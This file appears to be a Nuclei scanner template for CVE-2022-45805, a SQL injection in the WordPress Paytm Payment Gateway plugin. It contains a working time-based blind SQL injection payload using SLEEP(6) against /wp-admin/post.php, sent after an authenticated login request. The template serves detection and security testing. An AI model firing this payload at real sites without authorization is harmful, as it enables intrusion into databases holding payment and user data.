nuclei-templates/http/cves/2022/CVE-2022-45805.yaml

53 lines
2.2 KiB
YAML
Raw Normal View History

2023-03-05 13:42:10 +00:00
id: CVE-2022-45805
info:
name: WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection
2023-03-05 13:42:10 +00:00
author: theamanrawat
severity: critical
2023-03-05 13:42:10 +00:00
description: |
WordPress Paytm Payment Gateway plugin through 2.7.3 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation: Update to version 2.7.7 or a newer patched version.
2023-03-05 13:42:10 +00:00
reference:
- https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-3-auth-sql-injection-sqli-vulnerability
- https://wordpress.org/plugins/paytm-payments/
- https://nvd.nist.gov/vuln/detail/CVE-2022-45805
- https://patchstack.com/database/vulnerability/paytm-payments/wordpress-paytm-payment-gateway-plugin-2-7-3-auth-sql-injection-sqli-vulnerability?_s_id=cve
2023-03-05 13:42:10 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-03-17 14:14:27 +00:00
cve-id: CVE-2022-45805
2023-08-31 11:46:18 +00:00
cwe-id: CWE-89
epss-score: 0.00403
epss-percentile: 0.70919
cpe: cpe:2.3:a:paytm:payment_gateway:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
vendor: paytm
product: payment_gateway
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,paytm-payments,authenticated,paytm
2023-03-05 13:42:10 +00:00
http:
2023-03-05 13:42:10 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 15s
GET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(body_2, "toplevel_page_paytm")'
condition: and
# digest: 4a0a004730450220510b6f512adea2de662e70c470c9a947fe4b48416b91cbfebbd80e3552a6ea2602210094f25ae6149bbdb6fd6ca37a471239c931df0b3f501c45e8ee3c8af9a2741fe9:922c64590222798bb761d5b6d8e72950